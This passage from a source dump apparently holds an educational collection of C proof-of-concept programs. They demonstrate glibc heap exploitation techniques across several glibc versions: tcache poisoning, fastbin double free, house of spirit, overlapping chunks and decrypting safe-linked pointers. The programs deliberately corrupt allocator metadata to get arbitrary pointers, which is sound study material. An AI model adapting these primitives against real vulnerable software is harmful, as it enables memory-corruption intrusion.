once so that it sets up its memory.\n"); 18 | malloc(1); 19 | 20 | printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); 21 | unsigned long long *a; //pointer that will be overwritten 22 | unsigned long long fake_chunks[10]; //fake chunk region 23 | 24 | printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); 25 | 26 | printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 27 | printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 28 | fake_chunks[1] = 0x40; // this is the size 29 | 30 | 31 | printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 32 | printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 33 | 34 | a = &fake_chunks[2]; 35 | 36 | printf("Freeing the overwritten pointer.\n"); 37 | free(a); 38 | 39 | printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 40 | void *b = malloc(0x30); 41 | printf("malloc(0x30): %p\n", b); 42 | 43 | assert((long)b == (long)&fake_chunks[2]); 44 | } 45 | -------------------------------------------------------------------------------- /glibc_2.37/tcache_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | // disable buffering 9 | setbuf(stdin, NULL); 10 | setbuf(stdout, NULL); 11 | 12 | printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" 13 | "returning a pointer to an arbitrary location (in this case, the stack).\n" 14 | "The attack is very similar to fastbin corruption attack.\n"); 15 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" 16 | "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); 17 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" 18 | "An heap address leak is needed to perform tcache poisoning.\n" 19 | "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); 20 | 21 | size_t stack_var[0x10]; 22 | size_t *target = NULL; 23 | 24 | // choose a properly aligned target address 25 | for(int i=0; i<0x10; i++) { 26 | if(((long)&stack_var[i] & 0xf) == 0) { 27 | target = &stack_var[i]; 28 | break; 29 | } 30 | } 31 | assert(target != NULL); 32 | 33 | printf("The address we want malloc() to return is %p.\n", target); 34 | 35 | printf("Allocating 2 buffers.\n"); 36 | intptr_t *a = malloc(128); 37 | printf("malloc(128): %p\n", a); 38 | intptr_t *b = malloc(128); 39 | printf("malloc(128): %p\n", b); 40 | 41 | printf("Freeing the buffers...\n"); 42 | free(a); 43 | free(b); 44 | 45 | printf("Now the tcache list has [ %p -> %p ].\n", b, a); 46 | printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 47 | "to point to the location to control (%p).\n", sizeof(intptr_t), b, target); 48 | // VULNERABILITY 49 | // the following operation assumes the address of b is known, which requires a heap leak 50 | b[0] = (intptr_t)((long)target ^ (long)b >> 12); 51 | // VULNERABILITY 52 | printf("Now the tcache list has [ %p -> %p ].\n", b, target); 53 | 54 | printf("1st malloc(128): %p\n", malloc(128)); 55 | printf("Now the tcache list has [ %p ].\n", target); 56 | 57 | intptr_t *c = malloc(128); 58 | printf("2nd malloc(128): %p\n", c); 59 | printf("We got the control\n"); 60 | 61 | assert((long)target == (long)c); 62 | return 0; 63 | } 64 | -------------------------------------------------------------------------------- /glibc_2.38/decrypt_safe_linking.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | long decrypt(long cipher) 6 | { 7 | puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); 8 | puts("because of the 12bit sliding."); 9 | puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); 10 | long key = 0; 11 | long plain; 12 | 13 | for(int i=1; i<6; i++) { 14 | int bits = 64-12*i; 15 | if(bits < 0) bits = 0; 16 | plain = ((cipher ^ key) >> bits) << bits; 17 | key = plain >> 12; 18 | printf("round %d:\n", i); 19 | printf("key: %#016lx\n", key); 20 | printf("plain: %#016lx\n", plain); 21 | printf("cipher: %#016lx\n\n", cipher); 22 | } 23 | return plain; 24 | } 25 | 26 | int main() 27 | { 28 | /* 29 | * This technique demonstrates how to recover the original content from a poisoned 30 | * value because of the safe-linking mechanism. 31 | * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known 32 | * and the key (ASLR slide) is the same to the pointer's leading bits. 33 | * As a result, as long as the chunk where the pointer is stored is at the same page 34 | * of the pointer itself, the value of the pointer can be fully recovered. 35 | * Otherwise, we can also recover the pointer with the page-offset between the storer 36 | * and the pointer. What we demonstrate here is a special case whose page-offset is 0. 37 | * For demonstrations of other more general cases, plz refer to 38 | * https://github.com/n132/Dec-Safe-Linking 39 | */ 40 | 41 | setbuf(stdin, NULL); 42 | setbuf(stdout, NULL); 43 | 44 | // step 1: allocate chunks 45 | long *a = malloc(0x20); 46 | long *b = malloc(0x20); 47 | printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); 48 | malloc(0x10); 49 | puts("And then create a padding chunk to prevent consolidation."); 50 | 51 | 52 | // step 2: free chunks 53 | puts("Now free chunk a and then free chunk b."); 54 | free(a); 55 | free(b); 56 | printf("Now the freelist is: [%p -> %p]\n", b, a); 57 | printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]); 58 | 59 | // step 3: recover the values 60 | puts("Now decrypt the poisoned value"); 61 | long plaintext = decrypt(b[0]); 62 | 63 | printf("value: %p\n", a); 64 | printf("recovered value: %#lx\n", plaintext); 65 | assert(plaintext == (long)a); 66 | } 67 | -------------------------------------------------------------------------------- /glibc_2.38/fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates a simple double-free attack with fastbins.\n"); 10 | 11 | printf("Fill up tcache first.\n"); 12 | void *ptrs[8]; 13 | for (int i=0; i<8; i++) { 14 | ptrs[i] = malloc(8); 15 | } 16 | for (int i=0; i<7; i++) { 17 | free(ptrs[i]); 18 | } 19 | 20 | printf("Allocating 3 buffers.\n"); 21 | int *a = calloc(1, 8); 22 | int *b = calloc(1, 8); 23 | int *c = calloc(1, 8); 24 | 25 | printf("1st calloc(1, 8): %p\n", a); 26 | printf("2nd calloc(1, 8): %p\n", b); 27 | printf("3rd calloc(1, 8): %p\n", c); 28 | 29 | printf("Freeing the first one...\n"); 30 | free(a); 31 | 32 | printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 33 | // free(a); 34 | 35 | printf("So, instead, we'll free %p.\n", b); 36 | free(b); 37 | 38 | printf("Now, we can free %p again, since it's not the head of the free list.\n", a); 39 | free(a); 40 | 41 | printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 42 | a = calloc(1, 8); 43 | b = calloc(1, 8); 44 | c = calloc(1, 8); 45 | printf("1st calloc(1, 8): %p\n", a); 46 | printf("2nd calloc(1, 8): %p\n", b); 47 | printf("3rd calloc(1, 8): %p\n", c); 48 | 49 | assert(a == c); 50 | } 51 | -------------------------------------------------------------------------------- /glibc_2.38/fastbin_dup_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" 8 | "returning a pointer to a controlled location (in this case, the stack).\n"); 9 | 10 | 11 | fprintf(stderr,"Fill up tcache first.\n"); 12 | 13 | void *ptrs[7]; 14 | 15 | for (int i=0; i<7; i++) { 16 | ptrs[i] = malloc(8); 17 | } 18 | for (int i=0; i<7; i++) { 19 | free(ptrs[i]); 20 | } 21 | 22 | 23 | unsigned long stack_var[4] __attribute__ ((aligned (0x10))); 24 | 25 | fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2); 26 | 27 | fprintf(stderr, "Allocating 3 buffers.\n"); 28 | int *a = calloc(1,8); 29 | int *b = calloc(1,8); 30 | int *c = calloc(1,8); 31 | 32 | fprintf(stderr, "1st calloc(1,8): %p\n", a); 33 | fprintf(stderr, "2nd calloc(1,8): %p\n", b); 34 | fprintf(stderr, "3rd calloc(1,8): %p\n", c); 35 | 36 | fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin 37 | free(a); 38 | 39 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 40 | 41 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 42 | free(b); 43 | 44 | //Calling free(a) twice renders the program vulnerable to Double Free 45 | 46 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 47 | free(a); 48 | 49 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 50 | "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 51 | unsigned long *d = calloc(1,8); 52 | 53 | fprintf(stderr, "1st calloc(1,8): %p\n", d); 54 | fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); 55 | fprintf(stderr, "Now the free list has [ %p ].\n", a); 56 | fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 57 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 58 | "so that calloc will think there is a free chunk there and agree to\n" 59 | "return a pointer to it.\n", a); 60 | stack_var[1] = 0x20; 61 | 62 | fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 63 | fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); 64 | fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); 65 | unsigned long ptr = (unsigned long)stack_var; 66 | unsigned long addr = (unsigned long) d; 67 | /*VULNERABILITY*/ 68 | *d = (addr >> 12) ^ ptr; 69 | /*VULNERABILITY*/ 70 | 71 | fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); 72 | 73 | void *p = calloc(1,8); 74 | 75 | fprintf(stderr, "4th calloc(1,8): %p\n", p); 76 | assert((unsigned long)p == (unsigned long)stack_var + 0x10); 77 | } 78 | -------------------------------------------------------------------------------- /glibc_2.38/house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | puts("This file demonstrates the house of spirit attack."); 10 | puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); 11 | puts("Required primitives: known target address, ability to set up the start/end of the target memory"); 12 | 13 | puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); 14 | void *chunks[7]; 15 | for(int i=0; i<7; i++) { 16 | chunks[i] = malloc(0x30); 17 | } 18 | for(int i=0; i<7; i++) { 19 | free(chunks[i]); 20 | } 21 | 22 | puts("\nStep 2: Prepare the fake chunk"); 23 | // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 24 | long fake_chunks[10] __attribute__ ((aligned (0x10))); 25 | printf("The target fake chunk is at %p\n", fake_chunks); 26 | printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); 27 | printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 28 | puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); 29 | printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); 30 | fake_chunks[1] = 0x40; // this is the size 31 | 32 | printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 33 | printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\n", &fake_chunks[9]); 34 | fake_chunks[9] = 0x1234; // nextsize 35 | 36 | puts("\nStep 3: Free the first fake chunk"); 37 | puts("Note that the address of the fake chunk must be 16-byte aligned.\n"); 38 | void *victim = &fake_chunks[2]; 39 | free(victim); 40 | 41 | puts("\nStep 4: Take out the fake chunk"); 42 | printf("Now the next calloc will return our fake chunk at %p!\n", &fake_chunks[2]); 43 | printf("malloc can do the trick as well, you just need to do it for 8 times."); 44 | void *allocated = calloc(1, 0x30); 45 | printf("malloc(0x30): %p, fake chunk: %p\n", allocated, victim); 46 | 47 | assert(allocated == victim); 48 | } 49 | -------------------------------------------------------------------------------- /glibc_2.38/overlapping_chunks.c: -------------------------------------------------------------------------------- 1 | /* 2 | 3 | A simple tale of overlapping chunk. 4 | This technique is taken from 5 | http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf 6 | 7 | */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | int main(int argc , char* argv[]) 16 | { 17 | setbuf(stdout, NULL); 18 | 19 | long *p1,*p2,*p3,*p4; 20 | printf("\nThis is another simple chunks overlapping problem\n"); 21 | printf("The previous technique is killed by patch: https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c\n" 22 | "which ensures the next chunk of an unsortedbin must have prev_inuse bit unset\n" 23 | "and the prev_size of it must match the unsortedbin's size\n" 24 | "This new poc uses the same primitive as the previous one. Theoretically speaking, they are the same powerful.\n\n"); 25 | 26 | printf("Let's start to allocate 4 chunks on the heap\n"); 27 | 28 | p1 = malloc(0x80 - 8); 29 | p2 = malloc(0x500 - 8); 30 | p3 = malloc(0x80 - 8); 31 | 32 | printf("The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3); 33 | 34 | memset(p1, '1', 0x80 - 8); 35 | memset(p2, '2', 0x500 - 8); 36 | memset(p3, '3', 0x80 - 8); 37 | 38 | printf("Now let's simulate an overflow that can overwrite the size of the\nchunk freed p2.\n"); 39 | int evil_chunk_size = 0x581; 40 | int evil_region_size = 0x580 - 8; 41 | printf("We are going to set the size of chunk p2 to to %d, which gives us\na region size of %d\n", 42 | evil_chunk_size, evil_region_size); 43 | 44 | /* VULNERABILITY */ 45 | *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2 46 | /* VULNERABILITY */ 47 | 48 | printf("\nNow let's free the chunk p2\n"); 49 | free(p2); 50 | printf("The chunk p2 is now in the unsorted bin ready to serve possible\nnew malloc() of its size\n"); 51 | 52 | printf("\nNow let's allocate another chunk with a size equal to the data\n" 53 | "size of the chunk p2 injected size\n"); 54 | printf("This malloc will be served from the previously freed chunk that\n" 55 | "is parked in the unsorted bin which size has been modified by us\n"); 56 | p4 = malloc(evil_region_size); 57 | 58 | printf("\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size); 59 | printf("p3 starts at %p and ends at %p\n", (char *)p3, (char *)p3+0x80-8); 60 | printf("p4 should overlap with p3, in this case p4 includes all p3.\n"); 61 | 62 | printf("\nNow everything copied inside chunk p4 can overwrites data on\nchunk p3," 63 | " and data written to chunk p3 can overwrite data\nstored in the p4 chunk.\n\n"); 64 | 65 | printf("Let's run through an example. Right now, we have:\n"); 66 | printf("p4 = %s\n", (char *)p4); 67 | printf("p3 = %s\n", (char *)p3); 68 | 69 | printf("\nIf we memset(p4, '4', %d), we have:\n", evil_region_size); 70 | memset(p4, '4', evil_region_size); 71 | printf("p4 = %s\n", (char *)p4); 72 | printf("p3 = %s\n", (char *)p3); 73 | 74 | printf("\nAnd if we then memset(p3, '3', 80), we have:\n"); 75 | memset(p3, '3', 80); 76 | printf("p4 = %s\n", (char *)p4); 77 | printf("p3 = %s\n", (char *)p3); 78 | 79 | assert(strstr((char *)p4, (char *)p3)); 80 | } 81 | 82 | 83 | -------------------------------------------------------------------------------- /glibc_2.38/tcache_house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates the house of spirit attack on tcache.\n"); 10 | printf("It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n"); 11 | printf("You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n"); 12 | printf("(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n"); 13 | 14 | printf("Ok. Let's start with the example!.\n\n"); 15 | 16 | 17 | printf("Calling malloc() once so that it sets up its memory.\n"); 18 | malloc(1); 19 | 20 | printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n"); 21 | unsigned long long *a; //pointer that will be overwritten 22 | unsigned long long fake_chunks[10]; //fake chunk region 23 | 24 | printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]); 25 | 26 | printf("This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 27 | printf("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n"); 28 | fake_chunks[1] = 0x40; // this is the size 29 | 30 | 31 | printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]); 32 | printf("... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n"); 33 | 34 | a = &fake_chunks[2]; 35 | 36 | printf("Freeing the overwritten pointer.\n"); 37 | free(a); 38 | 39 | printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]); 40 | void *b = malloc(0x30); 41 | printf("malloc(0x30): %p\n", b); 42 | 43 | assert((long)b == (long)&fake_chunks[2]); 44 | } 45 | -------------------------------------------------------------------------------- /glibc_2.38/tcache_poisoning.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | // disable buffering 9 | setbuf(stdin, NULL); 10 | setbuf(stdout, NULL); 11 | 12 | printf("This file demonstrates a simple tcache poisoning attack by tricking malloc into\n" 13 | "returning a pointer to an arbitrary location (in this case, the stack).\n" 14 | "The attack is very similar to fastbin corruption attack.\n"); 15 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" 16 | "We have to create and free one more chunk for padding before fd pointer hijacking.\n\n"); 17 | printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41,\n" 18 | "An heap address leak is needed to perform tcache poisoning.\n" 19 | "The same patch also ensures the chunk returned by tcache is properly aligned.\n\n"); 20 | 21 | size_t stack_var[0x10]; 22 | size_t *target = NULL; 23 | 24 | // choose a properly aligned target address 25 | for(int i=0; i<0x10; i++) { 26 | if(((long)&stack_var[i] & 0xf) == 0) { 27 | target = &stack_var[i]; 28 | break; 29 | } 30 | } 31 | assert(target != NULL); 32 | 33 | printf("The address we want malloc() to return is %p.\n", target); 34 | 35 | printf("Allocating 2 buffers.\n"); 36 | intptr_t *a = malloc(128); 37 | printf("malloc(128): %p\n", a); 38 | intptr_t *b = malloc(128); 39 | printf("malloc(128): %p\n", b); 40 | 41 | printf("Freeing the buffers...\n"); 42 | free(a); 43 | free(b); 44 | 45 | printf("Now the tcache list has [ %p -> %p ].\n", b, a); 46 | printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n" 47 | "to point to the location to control (%p).\n", sizeof(intptr_t), b, target); 48 | // VULNERABILITY 49 | // the following operation assumes the address of b is known, which requires a heap leak 50 | b[0] = (intptr_t)((long)target ^ (long)b >> 12); 51 | // VULNERABILITY 52 | printf("Now the tcache list has [ %p -> %p ].\n", b, target); 53 | 54 | printf("1st malloc(128): %p\n", malloc(128)); 55 | printf("Now the tcache list has [ %p ].\n", target); 56 | 57 | intptr_t *c = malloc(128); 58 | printf("2nd malloc(128): %p\n", c); 59 | printf("We got the control\n"); 60 | 61 | assert((long)target == (long)c); 62 | return 0; 63 | } 64 | -------------------------------------------------------------------------------- /glibc_2.39/decrypt_safe_linking.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | long decrypt(long cipher) 6 | { 7 | puts("The decryption uses the fact that the first 12bit of the plaintext (the fwd pointer) is known,"); 8 | puts("because of the 12bit sliding."); 9 | puts("And the key, the ASLR value, is the same with the leading bits of the plaintext (the fwd pointer)"); 10 | long key = 0; 11 | long plain; 12 | 13 | for(int i=1; i<6; i++) { 14 | int bits = 64-12*i; 15 | if(bits < 0) bits = 0; 16 | plain = ((cipher ^ key) >> bits) << bits; 17 | key = plain >> 12; 18 | printf("round %d:\n", i); 19 | printf("key: %#016lx\n", key); 20 | printf("plain: %#016lx\n", plain); 21 | printf("cipher: %#016lx\n\n", cipher); 22 | } 23 | return plain; 24 | } 25 | 26 | int main() 27 | { 28 | /* 29 | * This technique demonstrates how to recover the original content from a poisoned 30 | * value because of the safe-linking mechanism. 31 | * The attack uses the fact that the first 12 bit of the plaintext (pointer) is known 32 | * and the key (ASLR slide) is the same to the pointer's leading bits. 33 | * As a result, as long as the chunk where the pointer is stored is at the same page 34 | * of the pointer itself, the value of the pointer can be fully recovered. 35 | * Otherwise, we can also recover the pointer with the page-offset between the storer 36 | * and the pointer. What we demonstrate here is a special case whose page-offset is 0. 37 | * For demonstrations of other more general cases, plz refer to 38 | * https://github.com/n132/Dec-Safe-Linking 39 | */ 40 | 41 | setbuf(stdin, NULL); 42 | setbuf(stdout, NULL); 43 | 44 | // step 1: allocate chunks 45 | long *a = malloc(0x20); 46 | long *b = malloc(0x20); 47 | printf("First, we create chunk a @ %p and chunk b @ %p\n", a, b); 48 | malloc(0x10); 49 | puts("And then create a padding chunk to prevent consolidation."); 50 | 51 | 52 | // step 2: free chunks 53 | puts("Now free chunk a and then free chunk b."); 54 | free(a); 55 | free(b); 56 | printf("Now the freelist is: [%p -> %p]\n", b, a); 57 | printf("Due to safe-linking, the value actually stored at b[0] is: %#lx\n", b[0]); 58 | 59 | // step 3: recover the values 60 | puts("Now decrypt the poisoned value"); 61 | long plaintext = decrypt(b[0]); 62 | 63 | printf("value: %p\n", a); 64 | printf("recovered value: %#lx\n", plaintext); 65 | assert(plaintext == (long)a); 66 | } 67 | -------------------------------------------------------------------------------- /glibc_2.39/fastbin_dup.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | printf("This file demonstrates a simple double-free attack with fastbins.\n"); 10 | 11 | printf("Fill up tcache first.\n"); 12 | void *ptrs[8]; 13 | for (int i=0; i<8; i++) { 14 | ptrs[i] = malloc(8); 15 | } 16 | for (int i=0; i<7; i++) { 17 | free(ptrs[i]); 18 | } 19 | 20 | printf("Allocating 3 buffers.\n"); 21 | int *a = calloc(1, 8); 22 | int *b = calloc(1, 8); 23 | int *c = calloc(1, 8); 24 | 25 | printf("1st calloc(1, 8): %p\n", a); 26 | printf("2nd calloc(1, 8): %p\n", b); 27 | printf("3rd calloc(1, 8): %p\n", c); 28 | 29 | printf("Freeing the first one...\n"); 30 | free(a); 31 | 32 | printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 33 | // free(a); 34 | 35 | printf("So, instead, we'll free %p.\n", b); 36 | free(b); 37 | 38 | printf("Now, we can free %p again, since it's not the head of the free list.\n", a); 39 | free(a); 40 | 41 | printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a); 42 | a = calloc(1, 8); 43 | b = calloc(1, 8); 44 | c = calloc(1, 8); 45 | printf("1st calloc(1, 8): %p\n", a); 46 | printf("2nd calloc(1, 8): %p\n", b); 47 | printf("3rd calloc(1, 8): %p\n", c); 48 | 49 | assert(a == c); 50 | } 51 | -------------------------------------------------------------------------------- /glibc_2.39/fastbin_dup_into_stack.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" 8 | "returning a pointer to a controlled location (in this case, the stack).\n"); 9 | 10 | 11 | fprintf(stderr,"Fill up tcache first.\n"); 12 | 13 | void *ptrs[7]; 14 | 15 | for (int i=0; i<7; i++) { 16 | ptrs[i] = malloc(8); 17 | } 18 | for (int i=0; i<7; i++) { 19 | free(ptrs[i]); 20 | } 21 | 22 | 23 | unsigned long stack_var[4] __attribute__ ((aligned (0x10))); 24 | 25 | fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2); 26 | 27 | fprintf(stderr, "Allocating 3 buffers.\n"); 28 | int *a = calloc(1,8); 29 | int *b = calloc(1,8); 30 | int *c = calloc(1,8); 31 | 32 | fprintf(stderr, "1st calloc(1,8): %p\n", a); 33 | fprintf(stderr, "2nd calloc(1,8): %p\n", b); 34 | fprintf(stderr, "3rd calloc(1,8): %p\n", c); 35 | 36 | fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin 37 | free(a); 38 | 39 | fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); 40 | 41 | fprintf(stderr, "So, instead, we'll free %p.\n", b); 42 | free(b); 43 | 44 | //Calling free(a) twice renders the program vulnerable to Double Free 45 | 46 | fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); 47 | free(a); 48 | 49 | fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " 50 | "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); 51 | unsigned long *d = calloc(1,8); 52 | 53 | fprintf(stderr, "1st calloc(1,8): %p\n", d); 54 | fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); 55 | fprintf(stderr, "Now the free list has [ %p ].\n", a); 56 | fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" 57 | "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" 58 | "so that calloc will think there is a free chunk there and agree to\n" 59 | "return a pointer to it.\n", a); 60 | stack_var[1] = 0x20; 61 | 62 | fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); 63 | fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); 64 | fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); 65 | unsigned long ptr = (unsigned long)stack_var; 66 | unsigned long addr = (unsigned long) d; 67 | /*VULNERABILITY*/ 68 | *d = (addr >> 12) ^ ptr; 69 | /*VULNERABILITY*/ 70 | 71 | fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); 72 | 73 | void *p = calloc(1,8); 74 | 75 | fprintf(stderr, "4th calloc(1,8): %p\n", p); 76 | assert((unsigned long)p == (unsigned long)stack_var + 0x10); 77 | } 78 | -------------------------------------------------------------------------------- /glibc_2.39/house_of_spirit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | int main() 6 | { 7 | setbuf(stdout, NULL); 8 | 9 | puts("This file demonstrates the house of spirit attack."); 10 | puts("This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write."); 11 | puts("Required primitives: known target address, ability to set up the start/end of the target memory"); 12 | 13 | puts("\nStep 1: Allocate 7 chunks and free them to fill up tcache"); 14 | void *chunks[7]; 15 | for(int i=0; i<7; i++) { 16 | chunks[i] = malloc(0x30); 17 | } 18 | for(int i=0; i<7; i++) { 19 | free(chunks[i]); 20 | } 21 | 22 | puts("\nStep 2: Prepare the fake chunk"); 23 | // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY) 24 | long fake_chunks[10] __attribute__ ((aligned (0x10))); 25 | printf("The target fake chunk is at %p\n", fake_chunks); 26 | printf("It contains two chunks. The first starts at %p and the second at %p.\n", &fake_chunks[1], &fake_chunks[9]); 27 | printf("This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n"); 28 | puts("... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end."); 29 | printf("Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\n", &fake_chunks[1]); 30 | fake_chunks[1] = 0x40; // this is the size 31 | 32 | printf("The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n"); 33 | printf("Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can 